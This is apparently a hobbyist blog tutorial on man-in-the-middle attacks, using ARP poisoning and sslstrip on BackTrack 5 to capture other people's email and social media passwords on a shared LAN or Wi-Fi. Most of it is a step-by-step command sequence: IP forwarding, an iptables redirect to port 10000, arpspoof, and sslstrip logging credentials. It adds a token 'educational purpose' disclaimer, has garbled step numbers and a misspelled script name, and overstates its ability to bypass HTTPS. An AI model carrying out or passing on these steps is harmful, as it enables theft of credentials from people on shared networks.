Man-in-the-middle attack

Description

The man-in-the middle attack intercepts a communication between two systems. For example, in an http transaction the target is the TCP connection between client and server. Using different techniques, the attacker splits the original TCP connection into 2 new connections, one between the client and the attacker and the other between the attacker and the server, as shown in figure 1. Once the TCP connection is intercepted, the attacker acts as a proxy, being able to read, insert and modify the data in the intercepted communication.

Figure 1. Illustration of man-in-the-middle attack

ARP Poisoning :- 

Address Resolution Protocol (ARP) spoofing, also known as ARP flooding, ARP poisoning or ARP Poison Routing (APR), is a technique used to attack an Ethernet wired or wireless network. ARP Spoofing may allow an attacker to sniff data frames on a local area network (LAN), .

Through this attack An Attacker can compromise victim machine & hack facebook,gmail,yahoo etc password through online sessions even on Https ie ssl encryption without any certificate error .

i will use backtrack 5 to show you how to perform this attack with ssl encryption bypass on Lan computers,wifi.wlan etc

System required linux-backtrack!

 http://www.mediafire.com/download.php?6121f91hagkiaxk

THIS DEMOSTRATION IS ONLY FOR EDUCATIONAL PURPOSE!!!!!!!!

we will hack Email id and password & bypass https in this attack let see victims browser it is running on ssl .

now lets begin our attack

!)first run sslstrip

2)put ip in forward mode typ this :

echo 1 > /proc/sys/net/ipv4/ip_forward

3)now we will configure our iptables to port 10000 to redirect the packets on sslstrip because it is running on this port, type this:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

4)u can run nmap to find vul. ip & gateways but i will not use nmap as i know victim ip & gateway

5)now we will run arpspoof attack to get ol packets of victim

4)atlast we will run sslstrip tool:

ls

python sslstrip.py

python ssltrip.py -w log [here log is the file where aal email & password will be stored]

sslstrip will start sniffing the passwords XDXDXD

 to see the log file typ:

less log

thanxx!

comment if u got any query!